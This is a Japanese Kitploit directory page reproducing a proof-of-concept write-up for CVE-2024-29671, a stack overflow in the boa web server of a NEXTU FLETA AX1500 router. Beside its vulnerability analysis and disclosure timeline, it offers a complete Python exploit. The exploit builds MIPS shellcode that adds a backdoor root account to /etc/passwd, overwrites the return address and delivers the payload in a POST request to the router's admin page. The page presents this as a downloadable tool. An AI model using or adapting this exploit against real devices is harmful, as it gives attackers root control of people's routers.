Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-29671-POC — これはCVE-2024-29671のPOCです | Kitploit
ツール/GitHubGitHub/laskdjlaskdj12/cve-2024-29671-poc
組み込みシステムセキュリティIoTセキュリティペイロード生成脆弱性分析エクスプロイトシェルコードウェブアプリケーション悪用ペネトレーションテストリモートアクセスツールバイナリエクスプロイト
GitHublaskdjlaskdj12/cve-2024-29671-poc

CVE-2024-29671-POC

11年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

これはCVE-2024-29671のPOCです

リポジトリを見る

NEXTU FLETA Wifi6 Router RCE Exploit POC

本文書では、NEXTU FLATA AX1500 ルーターファームウェアにおいて CVE-2024-29671 の脆弱性がどのように悪用されたかを説明します。

実行環境

このルーターは、Realtekチップセットを採用したMIPSアーキテクチャ(リトルエンディアン)に基づいています。
対象ルーターのファームウェアバージョンは v1.0.2 です。

このファームウェアには、2005年に最後にリリースされた組み込みWebサーバーである "boa" が含まれています。
ただし、このルーターは boa Webサーバーを使用して、ルーターのファームウェアを制御する管理Webページサービスを提供しています。

脆弱性の原因

"boa" バイナリのセキュリティ状態は次のとおりです。

fig_1.png 図1. boa Webサーバーバイナリのchecksec結果

スタックオーバーフローの原因は、boa Webサーバーでリクエストハンドラーがフォームリクエストを処理する際に、0x00411c00 の formStaticDHCP 関数内で strcpy() を使って hostname パラメータの内容をコピーするときに、長さの値チェックが実行されなかったことです。

fig_2.png 図2. スタックオーバーフロー発生箇所



fig_3.png 図3. スタックオーバーフロー発生前のスタックメモリの様子。 (白い線はRETアドレス領域)



fig_4.png

図4. スタックオーバーフロー発生後のスタックメモリの様子。



ご覧のとおり、ハンドラーのRETアドレスが格納されているスタック0x7ffef7dcアドレスは、0x42('B')によってオーバーフローしたデータで上書きされています。

エクスプロイトの説明

攻撃者がリモート実行コードとRET領域を上書きするアドレスを /boafrm/formStaticDHCP POSTリクエストの 'hostname' パラメータ値に挿入すると、任意のコードがrootとして実行されるはずです。

脆弱性POC

root@kitploit:~
from pwn import *  
from hackebds import *  
  
# id: rOOt  
# passwd: pwn3d  
  
def add_user_credential_shell_code():  
    context.update(arch='mips', os='linux', bits=32, endian='little')  
  
    cmd = "/bin/sh"  
    args = ["sh", "-c", "echo \"rOOt:XJ1GV.nyFFMoI:0:0:root:/:/bin/sh\" >> /etc/passwd"]  
  
    asmcode = shellcraft.mips.linux.execve(cmd, args) + shellcraft.mips.linux.exit()  
    shellcode = asm(asmcode)  
    return shellcode  
  
  
  
shellcode = add_user_credential_shell_code()  
  
print(shellcode)  
gap_code = (b'A') * 1282  

# insert RET Address by your own
# In this case, the address value is in the video below that execute RCE.
RET_address = (b'\xe0\x4e\xb9\x7f')  
stack_gap = (b'B') * 0x180  
  
final_code = gap_code + RET_address + stack_gap + shellcode  
  
import socket  
import ssl  
  
# Boa Webserver Connect Address
HOST = '192.168.1.254'  
PORT = 443  
  
context = ssl.create_default_context()  
context.set_ciphers('HIGH:!DH:!aNULL')  
context.check_hostname = False  
context.verify_mode = ssl.CERT_NONE  
  
with socket.create_connection((HOST, PORT)) as sock:  
    with context.wrap_socket(sock, server_hostname=HOST) as ssock:  
  
        # Make Request Body
        send_byte = b"ip_addr=AAA&mac_addr=AAA&static_dhcp=%00%00&addRsvIPFlag=%00%00&addRsvIP=%00%00&deleteSelRsvIP=%00%00&modifyRsvIP=AAA&hostname=" + final_code  
  
        # POST Request Header
        headers = b"POST /boafrm/formStaticDHCP HTTP/1.1\r\n" \  
                  b"Host: " + HOST.encode('utf-8') + b"\r\n" \  
                                                     b"Content-Type: application/octet-stream\r\n" \  
                                                     b"Content-Length: " + str(len(send_byte)).encode(  
            'utf-8') + b"\r\nConnection: close\r\n\r\n"  
  
        ssock.send(headers + send_byte)  
  
        response = b""  
        while True:  
            data = ssock.recv(1024)  
            if not data:  
                break  
            response += data  
  
        print(response.decode('utf-8'))

エクスプロイト実行ビデオ


https://github.com/user-attachments/assets/41c7cd6f-3e9d-4bb8-ab04-973e8b074bed


影響

この脆弱性は、RCEおよびDOS問題を引き起こします。

タイムライン

2024-03-17: CVE番号を要求
2024-03-22: CVE番号を採番 - CVE-2024-29671
2024-03~ 2024-05: レポートを会社に提出

発見者

Ku In Hoe

本脆弱性の登録に協力してくれた方

准教授 Seonghoon Jeong(Sookmyung Women’s University)

ツールをダウンロード